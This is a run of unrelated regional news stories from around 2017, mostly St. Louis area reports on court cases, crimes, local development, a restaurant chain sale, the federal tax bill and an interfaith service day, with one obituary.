A second deputy asked for Weborg and spoke with her and Carrizales outside the residence. Weborg and Carrizales denied consent to search the residence and authorities obtained a search warrant for the home and vehicles owned by Weborg and Carrizales.

Authorities located a green leafy substance that Weborg allegedly advised was hers in the living room. A Mitchell officer assisting in the search reported locating a vial of suspected methamphetamine inside Weborgs vehicle. A Nebraska State Patrol trooper located a glass marijuana smoking device and two Scotts Bluff County road signs.

In an area where Carrizales appeared to have been sitting, deputies located a plastic jar with a green leafy substance that appeared to be marijuana and a glass marijuana smoking device. A second glass and plastic smoking device with a white substance believed to be methamphetamine was also located. Authorities also searched Carrizales vehicle and located marijuana edibles, according to the arrest affidavit.

Deputies arrested Hoover after searching the mans backpack and locating a loaded revolver.

All three appeared in Scotts Bluff County Court and are being held in the Scotts Bluff County Detention Center on bond, as of press time.
After skit from a West Iredell High School social studies class, there have been more questions than answers about what exactly was meant to b
Mary Russ

April 10, 1932  Dec. 15, 2017

LACONIA, NEW HAMPSHIRE  Mary Kathleen Russ, 85, of Laconia, New Hampshire, died Friday, Dec. 15, 2017, at Lakes Region General Hospital.

Kathy was a graduate of Fremont High, class of 1950, and of the University of Minnesota, class of 1954. She worked for several years as an elementary school teacher.

She is survived by her husband of 60 years, Lawrence Russ, four sons, one daughter, 12 grandchildren, two great-grandchildren and sister, Joan Hannan of Fremont. Preceded in death by parents, Edmund and Frances (Lynch) Miles; sister, Sr. Francis Miles O.P.; and brother-in-law, Edward Hannan.

A Mass of Christian Burial will be celebrated at 10 a.m. on Tuesday, Dec. 19, at Sacred Heart Church in Laconia. Burial will follow at the New Hampshire State Veterans Cemetery in Boscawen. Memorials may be sent to The Society of St. Vincent de Paul, PO Box 6123, Lakeport, NH 03247.
Seeking to retain elements of a 120-year-old building while allowing construction of a modern, 33-story apartment tower, the St. Louis Preservation Board gave conditional approval Monday to demolish most of the structure at 300 South Broadway.

But on a 4-3 vote, the board inserted a stipulation that would require developers to retain a corner of the buildings brick facade originally built in the 1890s.

Its not yet clear whether the condition would sink the project or if the developers will appeal.

A development team made up of Jack Holleran of local firm HDA Architects and two Chicago companies, White Oak Realty Partners and CA Ventures, wants to demolish the structure to make way for a $100 million, 265-unit apartment building.

The debate came down to whether the big apartment project constituted an unusual circumstance justifying the demolition of a structure St. Louis Cultural Resources Office thinks could probably be added to the National Register of Historic Places.

Designed by St. Louis architect Isaac Taylor, who supervised the design and construction of major buildings in the 1904 Worlds Fair as well as other buildings of the period, the existing building is used by St. Louis Community College as administrative offices.

Cultural Resources director Dan Krasnoff argued the apartment tower was an unusual circumstance that would bring hundreds of residents to downtown and add a new, modern high-rise to the citys skyline.

Fred Lafser, a consultant for the developers who works in historic preservation, said new additions added to the structure in the 1980s diminished its historical significance. Other buildings designed by Taylor also remain downtown, he said.

I dont think this is one of Isaac Taylors most important buildings, Lafser said.

Despite praising the projects design and intent, several preservationists urged the board to withhold demolition approval because downtown has already lost too many historic structures and it may end up looking different.

They are under no obligation to build this building, said Landmarks Association of St. Louis Executive Director Andrew Weil.

The developers recently completed a similar apartment tower at 212 South Meramec Avenue in Clayton, and an attorney for the group said they wanted to replicate it downtown next to Busch Stadium.

Board member Michael Killeen asked whether keeping the facade would torpedo the project.

I think it would be a deal killer, Holleran said. Pointing to the expanding Ballpark Village across the street, which also includes a residential tower, he said that we dont have what they have in terms of incentives.

Regardless, Killeen made the motion to grant conditional approval if the original facade is retained. A demolition permit also is not supposed to be issued until a construction permit is in order to ensure the building isnt demolished for a project that never comes together.

Killeen said the brick facade on 300 south Broadway and other buildings is the inspiration for Busch Stadiums exterior.

If these keep coming down, people are going to wonder, well, what was that even referring to 50 years from now, he said of Buschs brick facade.

The developers are also asking for property tax breaks, and another city board is scheduled to hear their request for up to 20 years of tax abatement Tuesday.
Restaurant chain operator Jack in the Box Inc. said it would sell its Qdoba Restaurant Corp. unit to funds affiliated with Apollo Global Management LLC for about $305 million cash.

Qdoba Restaurant operates and franchises more than 700 Qdoba Mexican Eats restaurants.

"(The deal) is consistent with the company's desire to transition to a less capital-intensive business model," Lenny Comma, the chief executive officer of Jack in the Box said in a statement.

Restaurant operators have been struggling due to higher wages and waning demand for fast-food options. McDonald's Corp., Yum! Brands Inc. and Wendys Co. have been aggressively franchising, while others have been divesting restaurants to keep more money.

Reuters reported in November that Apollo was nearing a deal to buy Qdoba for more than $300 million, citing people familiar with the matter.

San Diego-based Jack in the Box acquired Qdoba for $45 million in 2003. The restaurant chain initially enjoyed fast revenue growth but has faltered in recent quarters.

Morgan Stanley & Co LLC is serving as financial adviser and Gibson, Dunn & Crutcher LLP is the legal counsel to Jack in the Box. Apollo was advised by Morgan, Lewis & Bockius LLP, Paul, Weiss, Rifkind, Wharton & Garrison LLP, Deutsche Bank Securities Inc, and PJ Solomon.

The deal is expected to close by April 2018, Jack in the Box said.
ANN ARBOR, Mich.  A jury has awarded $2.9 million to a moped driver who was badly injured when he struck a low-hanging telecommunications wire in Michigan.

The Ann Arbor News reports the Washtenaw County jury last week reached the verdict saying Kevin Michaels and his wife, Debra, should get the money. AT&T was found responsible for the Ann Arbor crash that left Kevin Michaels with injuries including a fractured skull, a broken jaw and hearing loss.

AT&T spokesman Marty Richter says it's "sympathetic to Mr. Michaels for the injuries he suffered" but disagrees with the verdict and is reviewing its options.

The lawsuit says the wire was replaced in July 2016 after being damaged by a truck, but was damaged again shortly before it ripped off Kevin Michaels' helmet on Aug. 24, 2016.
KANSAS CITY  On the night of Oct. 4, 1953, Carl Austin Hall drove his rented Ford along a wooded stretch of U.S. Highway 40 east of Kansas City. He turned down a quiet county road toward a bridge but didn't see the duffel bag he expected.

When a Cadillac drove by, Hall was stricken by guilty panic. He had intended to put stolen plates on the Ford, but forgot. The duffel drop was to have been by Cadillac. Had the two men who drove by seen his plates? Hall waited, braced himself and headed back to the bridge. He saw the bag and grabbed it.

Hall picked up his girlfriend, Bonnie Brown Heady, and drove east. In the duffel was $600,000 in tens and twenties, the ransom for the life of Robert C. Greenlease Jr., 6-year-old son of one of Kansas City's richest men.

The case had been national news since Sept. 28, when Heady, posing as the boy's aunt, managed to lure Bobby from his grade school. On the day of the ransom drop, Hall had sworn yet again to the Greenlease family that the boy was alive.

It was a cruel lie. Hall had shot the boy shortly after the kidnapping, then buried him in Heady's backyard in St. Joseph, Mo.

Early on Oct. 5, Hall and Heady slipped into St. Louis, rented a flat at 4504 Arsenal Street, indulged their taste for heavy drinking and fought. While Heady slept off her bender, Hall hailed a cab, procured a call girl and took her to the Coral Court, the old no-tell motel on Watson Road in Marlborough. His free spending attracted notice.

The cabbie tipped off his boss, mobster Joe Costello, who called Lt. Louis Shoulders, a crooked St. Louis cop. Shoulders and his driver, patrolman Elmer Dolan, arrested Hall on Oct. 6. Sometime that evening, half of the ransom disappeared.

Shoulders had figured Hall as an embezzler, an easy mark for a shakedown. At the police station, Hall suddenly confessed he was the Greenlease kidnapper but blamed the murder on a mystery man. Six days later, he and Heady confessed to everything.

Who got the Greenlease ransom? True crime review  Half of the cash was never recovered in a celebrated 1953 case that ended here.

They were executed in Missouri's gas chamber on Dec. 18. Shoulders insisted that he confiscated all the money Hall had with him, but investigators didn't buy it. He and Dolan were convicted of perjury. Dolan eventually told FBI agents he had lied to protect his family and that Shoulders had taken the missing half of the ransom to Costello's house. Dolan won a presidential pardon. Shoulders never fessed up.

Only a little of the missing money ever surfaced. The tale of evil, stupidity and corruption endures as Missouri's crime of the 20th century.
CLAYTON  A case that has dragged through the courts for more than six years was finally resolved Monday when a Eureka baby sitter accused of fatally shaking a 13-month-old girl in 2011 was sentenced Monday to five years of probation and 500 hours of community service.

Jennifer Winkler, 36, has also been banned from caring for children not her own.

Winkler had originally been charged with second-degree murder and child abuse after Eureka police said she shook Lily Annabella Rieger to death at Winklers home day care in Eureka.

Winkler pleaded no contest to manslaughter in 2014.

Defense lawyer Neil Bruntrager asked St. Louis County Circuit Judge Nellie Ribaudo to honor that since-disputed plea agreement that carried up to a 12-month prison sentence. Bruntrager said Winkler denies shaking the baby and that Lily sustained injuries hours before Winkler began watching her.

The Missouri attorney generals office, which handled the case, asked for a seven-year term, citing Lilys age and the tremendous suffering of her family.

Ribaudo on Monday sentenced Winkler to seven years in prison but suspended execution of the sentence in favor of probation. Winkler must receive counseling and complete 100 hours of community service per year.

Winklers case was featured in a Post-Dispatch investigation of lax oversight of unlicensed, in-home day cares in Missouri.

Winkler had watched Lily for 10 months before she died. Her father dropped her off at Winklers home the morning of July 29; he told authorities she showed no signs of injury. About 2:20 p.m., Winkler called him to report Lily was lethargic and having difficulty breathing. Lily had emergency surgery at Cardinal Glennon Childrens Medical Center to stop internal bleeding around her brain. She had a fractured skull and brain trauma. Doctors suspected child abuse and called police. Lily was taken off life support two days later.

The case has taken several turns through the courts over the past six years. Those include an appellate courts order last year disqualifying St. Louis County Prosecuting Attorney Robert McCullochs office from the case, and a 2015 order by former St. Louis County Circuit Judge Steven Goldman sealing documents pertaining to a defense allegation that a prosecutor violated Winklers attorney-client privilege while interviewing Winklers husband.

Last month, the same judge who sentenced Winkler restored her no contest plea, resolving a legal dispute over whether a different judge fully understood plea negotiations and Winklers potential sentence.

A no-contest plea, also called an Alford plea, means a defendant does not admit to a crime but acknowledges that prosecutors have enough evidence to get a conviction.

The maximum sentence for involuntary manslaughter is seven years in prison.

Winkler was accused of shaking Lily while watching the baby at Winklers home on July 29, 2011. She called 911 that afternoon to report a sick child, and an ambulance took Lily to a hospital for treatment.

Bill Weishaar, Lily's father, said in a message to the Post-Dispatch after the hearing that "Ribaudo's ruling tells everyone that there is no justice for our children that are murdered in St. Louis. That as a society our judges allow our children to be murdered with no repercussion. It's now in God's hands. May God give Lily the justice and love that mankind could not give her."

Robert Patrick of the Post-Dispatch contributed to this report.
ST. LOUIS  The Missouri Eastern District appeals court ruled on Tuesday that St. Louis Countys ordinance barring interference with a police officer is constitutional.

A lawsuit filed by two Ferguson protesters in 2015 alleged the ordinance was vague, giving police officers too much discretion and threatening First Amendment rights.

In February, a circuit court judge disagreed. Tuesdays ruling upholds that dismissal.

Melissa V. Bennett and Rebecca KB L. Frazier, both of University City, were arrested on Oct. 22, 2014, near the Ferguson police station, during a demonstration for a National Day of Protest to Stop Police Brutality.

The office of County Counselor Peter Krane charged them nine months later, accusing them of having unlawfully interfered in any manner with a police officer or other employee of the county in the performance of his official duties or to obstruct him in any manner whatsoever while performing any duty.

The cases against them were later dropped by the county, but Bennett and Frazier sued anyway on the grounds that they were subject to that same ordinance in other protests.

Their attorneys argued to the court that the law is so broad it limited their right to protest. Lawyers for St. Louis County contended that the ordinance strikes a balance between protecting free speech while still allowing police officers to do their jobs.

In its opinion, the appeals court found that there was no danger of arbitrary or discriminatory application because the ordinance uses commonly understood language that properly informs police officers of when enforcement is proper.

Words in the ordinance such as interfere and obstruct are commonly understood to mean physical action, the court found, interpreting the law as applying only to physical interferences and obstructions and not limiting protesters speech.

Therefore, police officers have guidance from the Ordinance that only physical conduct is prohibited, and the Ordinance does not contain an impermissible delegation to police officers for resolution based on a subjective basis, wrote Judge Kurt S. Odenwald.

Maggie Ellinger-Locke, attorney for the plaintiffs, said the courts determination that the ordinance applies only to physical conduct is a partial victory for Bennett and Frazier, as well as for the First Amendment.

This flies in the face of ongoing police practices, where the ordinance is routinely applied to purely verbal conduct, she said in a statement. Thus the ruling represents a promising change in the law. We hope County police will take notice, amending their operating practices accordingly.

They are still weighing the next steps, Ellinger-Locke said, including a potential appeal to the Missouri Supreme Court.
JEFFERSON CITY  The Missouri Supreme Court sided with pharmaceutical giant Bayer AG on Tuesday, ruling that women suing the company over a birth control device had yet to illustrate why Missouri courts had jurisdiction in the case.

Ninety-two women sued the company in St. Louis Circuit Court in 2016, alleging damaging effects from the contraceptive device, which is implanted into a woman's fallopian tubes.

Bayer has argued that because 85 of the women don't live in Missouri, and that because the company is not based here, Missouri courts do not have jurisdiction.

According to the ruling, attorneys for the women intend to file an amended petition boosting their side's assertion that Missouri courts can take on the case.

The St. Louis Circuit Court overruled Bayer's motion to dismiss last year, and an appeals court sided with the circuit court.

But in a unanimous decision Tuesday, the Supreme Court ruled Missouri courts do not have jurisdiction in the case and ordered the circuit court to vacate its prior decision. The judges said the lower court can weigh whether to consider the amended petition from the plaintiffs.

Bayer is in the midst of a $63.5 billion takeover of Creve Coeur-based Monsanto. The company has faced increasing controversy over Essure, and stopped selling the device in all countries besides the United States in September.
CLAYTON  The man charged with a quadruple homicide that left a 10-year-old boy and three adults dead in August knew the victims family well, authorities say.

Police on Friday arrested JaVonne Dupree, 20, of the 5300 block of Arsenal Street in St. Louis.

He was charged Saturday with four counts of first-degree murder, four counts of robbery, nine counts of armed criminal action, burglary, stealing a motor vehicle and tampering with physical evidence.

Patricia Steward, 56, her sons Joseph Corley, 20, and Terrence Dehart, 10, and Deandre Kelley, 18, of the 4400 block of Rhine Drive in North County, were found dead on Aug. 25 in a home in Glasgow Village. All died from gunshot wounds.

They knew each other. (Dupree) was very familiar with the family, St. Louis County Prosecuting Attorney Robert McCulloch said at a press conference Monday. They were certainly at one time friends and acquaintances.

Dupree is alleged to have shot each of the victims while robbing them of electronics and clothing, according to court documents. He allegedly picked up multiple shell casings, then fled with the stolen items in a car that belonged to one of the victims.

McCulloch said he could not give information about the motive in the case but said it was not a random act.

One of the victims, Kelley, was injured in a drive-by shooting just days before he was killed in the Glasgow Village home, but McCulloch said he was not aware of a connection between the shootings.

Police were able to identify Dupree and then locate him in Columbia, Mo., on Friday after receiving help from the public, St. Louis County Police Chief Jon Belmar said Monday.

The investigators were careful not to reveal that they knew his whereabouts because Dupree was clearly a danger to the community, to officers, to everyone else, McCulloch said.

Dupree is being held in the St. Louis County Justice Center without bail. His only previous charge in Missouri was a misdemeanor theft case in 2015, according to court records. Dupree pleaded guilty in the case and was sentenced to one-year incarceration, suspended upon completion of two years probation and community service.

My heart goes out to the family, Belmar said. I certainly appreciate the work of these homicide detectives, and I also value what the community brought to this, because without their assistance, we may not have had justice for the victims.
ST. LOUIS COUNTY  A doctor was charged Monday with sexual abuse and sodomy for allegedly groping two women who were his patients at pain clinics in St. Louis County.

The doctor, Abhishek Jain, 38, of the 12300 block of Tributary Drive in Maryland Heights, was charged in St. Louis County with two counts of second-degree sexual abuse and two counts of second-degree sodomy. He is being held in lieu of $500,000 bail.

Jains medical license was on probation in Missouri, and he already was in trouble in Maine, Kansas and California, state records show.

Jain works at Interventional Pain Management Services, which has offices at 5000 Cedar Plaza Parkway in unincorporated St. Louis County and at 261 Dunn Road in Florissant. The manager and owner could not be reached for comment.

Charges say both incidents of abuse happened in October. One of the alleged victims, a 60-year-old woman, was at Jains office on Cedar Plaza to be treated for chronic pain. Police say that during an exam Oct. 17, the doctor groped her breasts and genitals with his hands.

Another woman, 61, told police the doctor groped her breasts and genitals during an appointment on Oct. 23. She was at the Dunn Road pain clinic to be treated for hip and back pain. The woman told police she stopped the exam once he abused her.

Each sodomy charge is a felony punishable by up to four years in prison and a $5,000 fine. Each sex abuse charge is a misdemeanor punishable by up to a year in jail and a $1,000 fine.

Court records in St. Louis County, as of Tuesday morning, showed no attorney on file to represent Jain. No one could be reached Tuesday on his behalf.

A woman who answered the phone at Interventional Pain Management Services said the owner declined to comment.

Investigators are asking any other patients who think they have been victimized to contact police at 314-615-5400.

Trail of trouble

The Missouri Division of Professional Registration confirmed to the Post-Dispatch that Jain is a licensed medical doctor but is on probation in Missouri due to past concerns, documented in state records.

Jain was put on probation in 2008 by the Maine Medical Center due to continued issues regarding professionalism, according to the records. He was in his third year of postgraduate training. Board records dont specify what he did, but say Maine Medical Center put him on probation for ongoing lapses in professionalism despite previous attempts to remediate his behavior. Maine Medical Center eventually fired him from a residency program, records say. The next year, the Kansas Board of Healing Arts denied his application for a license based on his troubles in Maine. He also lied about it on his Kansas application, officials say.

In February 2013, the California Medical Board issued him a physician and surgeons license, subject to probation based on the Kansas denial. The board found he had not disclosed the Kansas denial on his application in California.

In July 2016, he applied for a physician and surgeons license in Missouri. Jain told the Missouri board that a former co-worker alleged that Jain assaulted her in a hospital supply room in May 2015, preventing her from leaving. Jain told authorities that he had been alone in the room with the woman and that he had asked her out to dinner, but hedenied assaulting her, records say. She filed suit but eventually dropped the case in an out-of-court settlement, he told investigators. It wasnt immediately clear where it took place.

Missouri records note he was also charged with endangering the welfare of a child in 2015. He allegedly left his child unattended in a parked vehicle while he went into a department store in South Portland, Maine. A witness saw the child in the car crying and trying to use a cellphone. Police arrived, and saw Jain run out of the store, open the car door and yell at the child, officials say. The misdemeanor charge was dropped when Jain agreed to pay $200 in court costs.

The underlying incident is not satisfactory on licensees good moral character, according to notes in state records.

After examining his background, the Missouri board decided to issue him a license  but put him on three years probation.
JEFFERSON CITY  A state appeals court sided with supporters of the Loop Trolley Tuesday, ruling against a man seeking to derail the long-delayed project.

In a 15-page decision, Missouri Court of Appeals Eastern District Presiding Judge Mary Hoff wrote that a 2015 lawsuit aimed at stopping the $51 million project was filed too late because construction of the 2.2 mile rail line connecting the Delmar Loop in University City to the Missouri History Museum in Forest Park was already underway.

Peter Sarandos, who operates a business within the trolley transportation district, and two others, had argued that the trolley line extends more than 500 feet beyond the approved boundaries of the district.

But, a lower court judge ruled in March that the trolley line is still in the approximate location of the district, and the district is authorized to make improvements beyond those boundaries which are necessary or convenient for the design, development and operation of the trolley project.

The judge also said Sarandos had unreasonably delayed filing his lawsuit, as plans for the trolley line had been public since at least 2010.

The appeals court agreed.

As the record clearly demonstrates, the district invested considerable resources in planning and design for the entire project years before construction commenced and, importantly, this information was available to Sarandos, Hoff wrote.

The long-delayed project received a boost earlier this month when Clayco, a St. Louis-based development firm, announced it was donating $500,000 to prop up the project.

Without the money, Les Sterman, president of the Loop Trolley Co., said nonprofit group backing the trolley would be insolvent.

The project initially was estimated to cost $43 million.

The donation means the project can move forward now with a spring start date.
CLAYTON  The race for St. Louis County executive now has a third contestant.

Bill Ray, 40, a real estate agent from University City, announced he will enter the race as a Democrat. He joins incumbent Steve Stenger and challenger Mark Mantovani.

The Democratic primary set for August 7.

We are at a point where the broken promises of the current administration are beginning to hurt our region, Ray said in a statement. The current budget is just one example. No matter how you spin it, spending down the county reserves is unsustainable and shows you are not capable of making tough decisions.

Ray said he intends to focus on ethical changes leading to better governance of healthcare, parks, jobs and social justice.

Ray grew up in St. Louis and attended John Burroughs School. He graduated from the University of Virginia in 1999 with a bachelor of arts in government and foreign affairs. He was a special assistant to former county executive Charlie Dooley from 2011 to 2015.

Ray said the deaths of his sister and father in 2006 motivated him to become more engaged in public service. He said he has served on the county TIF Commission and chaired the Berkeley Economic Development Sales Tax Commission.

Ray is a 2013 recipient of the St. Louis American Young Leaders Award and a 2014 recipient of the North County Inc. 30 Leaders in their 30s. He is a Realtor with Tower Real Estate Group.
UPDATED at 4:50 p.m. with local delegation votes, quotes from representatives and senators, and more information on Senate action.

WASHINGTON  Jubilant Republicans pushed on Tuesday to the verge of the most sweeping rewrite of the nation's tax laws in more than three decades, a deeply unpopular bill they insist Americans will learn to love when they see their paychecks in the new year. President Donald Trump cheered the lawmakers on, eager to claim his first major legislative accomplishment.

Perhaps emblematic of the stumbles along the way, there was one last hiccup. Speaker Paul Ryan, who has worked years toward the goal of revamping the tax code, gleefully pounded the gavel on the final House vote, but then it turned out it wasn't final after all.

The Senate was expected to pass the legislation Tuesday night and send it on to Trump for his signature. But the Democrats noted that three provisions violated Senate rules. So the massive bill will be hauled back across the Capitol for the House to re-vote on Wednesday.

GOP House members roared and applauded as their chamber passed the $1.5 trillion package largely along party lines, 227-203. Ryan declared, "This was a promise made. This is a promise kept," as he and other GOP leaders convened a victory news conference moments later.

The Senate was still on track to approve the package that will touch every American taxpayer and every corner of the U.S. economy, providing steep tax cuts for businesses and the wealthy, and more modest help for middle- and low-income families. Despite Republican talk of spending discipline, the bill will push the huge national debt ever higher.

After the delay for a second House vote, the measure then heads to Trump who is aching for a win after 11 months of legislative failures and non-starters. The president tweeted his congratulations to GOP leaders and "all great House Republicans who voted in favor of cutting your taxes!"

The St. Louis-area members of the House divided, as expected, along party lines, with Reps. Ann Wagner, R-Ballwin; Jason Smith, R-Salem; Blaine Luetkemeyer, R-St. Elizabeth; Mike Bost, R-Murphysboro; Rodney Davis, R-Taylorville; and John Shimkus, R-Collinsville, all voting yes. Rep. William Lacy Clay, R-St. Louis, voted no.

Wagner called it pro-family tax reform. But Clay said it was one of the worst pieces of legislation that I have ever seen, and predicted that it would force spending cuts in Missouri in programs like Medicare.

Congressional Republicans, who faltered badly in trying to dismantle Barack Obama's Affordable Care Act, see passage of the tax bill as crucial to proving to Americans they can govern  and imperative for holding onto House and Senate majorities in next year's midterm elections.

They have repeatedly argued the bill will spur economic growth as corporations, flush with cash, increase wages and hire more workers. But they acknowledge they have work to do in convincing everyday Americans. Many voters in surveys see the legislation as a boost to the wealthy, such as Trump and his family, and a minor gain at best for the middle class.

"I don't think we've done a good job messaging," said Rep. Greg Walden, R-Ore. "Now, you're able to look at the final product."

Ryan was positive, even insistent. He declared, "Results are what's going to make this popular."

Sen. Roy Blunt, R-Mo., said that people are going to begin to see immediately that this is a different place than where they were on the taxes they pay.

We are going to spend a lot of time talking about that and the reason that we want to be internationally competitive, Blunt said. And particularly where we live, in the middle of the country, the more the economy moves toward rewarding people who make things and grow things, the better we do."

Because of the lower corporate rates, he said, " the United States will be the best place for foreign investment over the next decade of anywhere in the world.

Democrats called the bill a giveaway to corporations and the wealthy, with no likelihood that business owners will use their gains to hire more workers or raise wages.

Sen. Claire McCaskill, D-Mo., said she was frustrated and angry at the bills passage, and she called it a missed opportunity to get permanent tax reform that would have focused on families in Missouri that are trying to figure out if they can ever afford to retire or send their kids to college.

It could have been permanent, but because they wanted to do so much for the folks at the top they knew they could ram it through on a party-line vote, she said. And so they never really wanted to work with us, to find that sweet spot where we could have given real relief to the middle class and still done a more competitive corporate rate, and cleaned out some of the loopholes that they walked away from. 

And Democrats mocked the Republicans' contention that the bill will make taxes so simple that millions can file their returns "on a postcard"  an idea repeated often by the president.

"What happened to the postcard? We're going to have to carry around a billboard for tax simplification," declared Rep. Richard Neal of Massachusetts, the top Democrat on the Ways and Means Committee.

Tax cuts for corporations would be permanent while the cuts for individuals would expire in 2026 in order to comply with Senate budget rules. The tax cuts would take effect in January, and workers would start to see changes in the amount of taxes withheld from their paychecks in February.

For now, Democrats are planning to use the bill in their campaigns next year. Senate Democrats posted poll numbers on the bill on a video screen at their Tuesday luncheon.

"This bill will come back to haunt them, as Frankenstein did," said House Democratic leader Nancy Pelosi.

The bill would slash the corporate income tax rate from 35 percent to 21 percent. The top tax rate for individuals would be lowered from 39.6 percent to 37 percent.

The legislation repeals an important part of the 2010 health care law  the requirement that all Americans carry health insurance or face a penalty  as the GOP looks to unravel the law it failed to repeal and replace this past summer. It also allows oil drilling in the Arctic National Wildlife Refuge.

The $1,000-per-child tax credit doubles to $2,000, with up to $1,400 available in IRS refunds for families who owe little or no taxes. Parents would have to provide children's Social Security numbers to receive the child credit, a measure intended to deny the credit to people who are in the U.S. illegally.

Disgruntled Republican lawmakers from high-tax New York, New Jersey and California receded into the background as the tax train rolled. They oppose a new $10,000 limit on the deduction for state and local taxes.

Rep. Rodney Frelinghuysen, R-N.J., was among those who voted against the bill. Frelinghuysen chairs the powerful House Appropriations Committee, and it is rare for committee chairmen to oppose major legislation.

GOP Rep. Peter King conveyed what people in his Long Island, New York, district were telling him about the tax bill: "Nothing good, especially from Republicans. ... It's certainly unpopular in my district."

The bill is projected to add $1.46 trillion to the nation's debt over a decade. GOP lawmakers say they expect a future Congress to continue the tax cuts so they won't expire. That would drive up deficits even further.

The bill would initially provide tax cuts for Americans of all incomes. But if the cuts for individuals expire, most Americans  those making less than $75,000  would see tax increases in 2027, according to congressional estimates.

Chuck Raasch of the Post-Dispatch and Associated Press writers Matthew Daly, Kevin Freking and Alan Fram contributed to this report.
Democratic Sen. Pat Leahy expressed regret Monday for not waiting for an ethics investigation before calling for Sen. Al Franken to resign, coming just hours after Sen. Joe Manchin made similar comments about the Democratic push for the Minnesota senator to step down.

"I have stood for due process throughout my years as a prosecutor and in chairing the Judiciary Committee. I regret not doing that this time. The Ethics Committee should have been allowed to investigate and make its recommendation," Leahy said in a statement.

On December 6, Leahy joined a wide number of other Democrats in urging Franken to step aside after another woman came forward with allegations of an unwanted sexual advance from before he was senator.

"I am concerned that even a prompt Ethics Committee investigation and recommendations will not come soon enough," Leahy said at the time. "He has to step aside."

Politico first reported Monday morning that Leahy privately told Franken of his regret.

Manchin, a West Virginia Democrat who did not previously call for Franken to step down, told CNN's "New Day" that Franken should have remained in the Senate and proceeded through an ethics review.

"I definitely think he should not resign. I think he should submit himself, which he has willingly done and offered to do and go through this complete process of an extensive ethics review," Manchin said, adding that Franken should pledge to abide by whatever the committee recommends.

"And whatever the outcome is, I can live with that. I say, Al, I'm sorry, you have faults that you've never recognized and these ladies have brought this forward. And these ladies should be protected."

Over the last two months, Franken has been accused of groping and forcibly kissing women in incidents as early as 2006.

CNN has reached out to all Democratic senators who previously called for Franken's resignation. So far Leahy is the only one to publicly express regret. Spokespeople for multiple others -- including Sens. Cory Booker, Sherrod Brown, Patty Murray, Michael Bennet, Debbie Stabenow and Bob Casey -- say the senators stand by their original comments urging Franken to step aside.

Senate Minority Leader Chuck Schumer has not changed his mind on whether Franken should resign, an aide told CNN.

"Schumer and the vast majority of the caucus like Sen. Franken and will miss him, but did what they felt was best and stand by it," the aide said.

New York Democratic Sen. Kirsten Gillibrand is also standing by her call for Franken to resign over the allegations a senior aide told CNN. Gillibrand, who initially supported an Ethics Committee investigation, responded to questions about Franken, saying, "He was entitled to a process, but he was not entitled to my silence," according to the senior aide.

Franken's replacement in the Senate was named as Minnesota Lt. Gov. Tina Smith last week. Smith said she expects to move to Washington in January.

A top Minnesota Democrat told CNN that Smith is in Washington on Monday and fellow Minnesota Sen. Amy Klobuchar is hosting something for her and Franken staff later on the Hill.

This Democrat, who is close to Gov. Mark Dayton's office, says there is no sense that anything has changed -- despite what Manchin and others have reportedly said.

"This would be hard to un-do," a Democrat close to Dayton told CNN.

And while his replacement has been set, the Franken's office told CNN last week he does not yet have a departure date -- and is still finalizing his plans.

His office told CNN his resignation date was still being "finalized" on Wednesday. And when pressed by CNN four times about his resignation on Thursday, Franken declined to answer questions on why he hadn't set his date.

An aide to Franken said that the senator is tying up loose ends and working on a smooth and speedy transition, and while no date is certain for his official resignation, they expect his replacement to be in place in early January.

A former senior Senate Democratic leadership aide told CNN Thursday Franken staying put is "unusual" and "odd" -- likely driven by Franken himself.

"I am chalking this up to him being stubborn enough to want to go out under his own set of rules," the aide said.

CNN's MJ Lee, Jeff Zeleny, Dan Merica and Sunlen Serfaty contributed to this report.
For seven years, the Jewish and Muslim communities in St. Louis have united to serve the greater community through the Jewish and Muslim Day of Community Service. After a whopping 1,350 volunteers turned out for the 2016 event on Christmas Day, we decided to take a closer look at the evolution of the program and relish in the progress that has brought us closer together and strengthened our St. Louis region.

The Day of Service started in 2010 with a small group of Muslim and Jewish friends who decided that they wanted to make a difference. Instead of going to the movies on Christmas Eve  a common tradition for those outside the Christian faith  they came together to deliver gifts for a charitable organization. It was a simple idea with a simple execution, but what grew out of it has been anything but simple.

Others heard about the event and decided that they wanted to join as well. Volunteers relished the opportunity to do volunteer work and help others in the region, but even more so, they loved that they could do it while learning more about people of other faiths, building relationships, and combating the stereotypes that had plagued both communities.

Since that time, the program has grown in volunteer and project size each year. At 21 sites in the St. Louis area this year, volunteers will be spending a few hours of their day off delivering meals to the homebound through Five Star Senior Center, creating toiletry kits for organizations like Volunteers in Medicine, making snack packs to be added to backpacks for the homeless created by Back@You, playing games and doing art projects with teens at the St. Louis Juvenile Detention Center, decorating cards and making no-sew blankets for hospitalized children, along with many other activities benefiting local organizations.

In particular, the seventh annual Jewish and Muslim Day of Community Service comes at the end of a tumultuous year. 2017 has witnessed a rise in hate crimes against both Jewish and Muslim communities and a fearful increase in white nationalist rhetoric. Yet, these two communities have only grown closer.

Following the desecration of the Jewish cemetery in University City this year, the Muslim community nationally rallied together to raise nearly $200,000 to help defray the cost of repairs. In the spring, the Jewish community organized an Iftar dinner to celebrate the break-fast during the month of Ramadan, hosting a dinner for nearly 300 Jews and Muslims.

Over the years of this program, the Muslim and Jewish communities have worked together to do good in the community, but it has turned into so much more. Our communities dont just have a working relationship, we have friendships. We stand by each other during difficult times. And perhaps even more inspiring, each year we see a growing number of volunteers from other faith communities join us as well, some choosing to celebrate part of their Christmas with fellowship and charity, and expanding the circle of friendship.

The Islamic Foundation of Greater St. Louis and the Jewish Community Relations Council of St. Louis through its Milford and Lee Bohm Social Justice Center are excited to invite you to participate in our Seventh Annual Christmas Day program this year. Please join us at the welcome breakfast at Shaare Emeth Synagogue at 11645 Ladue Road in St. Louis County and get to know your neighbors of the Muslim, Jewish and other faiths. The doors open at 8:30 a.m., and the program begins at 9 a.m.

We welcome all, regardless of race or religion, to give of your time volunteering while showing unity, fellowship and good will toward others. There are many opportunities to get involved. If you wish to volunteer at a site after the breakfast or donate to support the event this year, please visit the website jewishmuslimdayofservicestl.org to learn more.

For those impacted, charity is anything but simple.
After 26 years of protesting his innocence in a case that tainted nearly everyone who touched it, Reginald Clemons on Monday copped a plea. The big top has finally come down on what a family member of his victims once called the Reggie Clemons circus.

Clemons, 46, pleaded guilty to two counts of second-degree murder in the April 4, 1991, killings of Julie and Robin Kerry, sisters who were raped and thrown into the Mississippi River from the deck below the old Chain of Rocks Bridge in one of the most notorious crimes in the citys history. The body of Julie Kerry, 20, was found weeks later 307 miles downriver near Caruthersville. The body of 19-year-old Robin Kerry was never found.

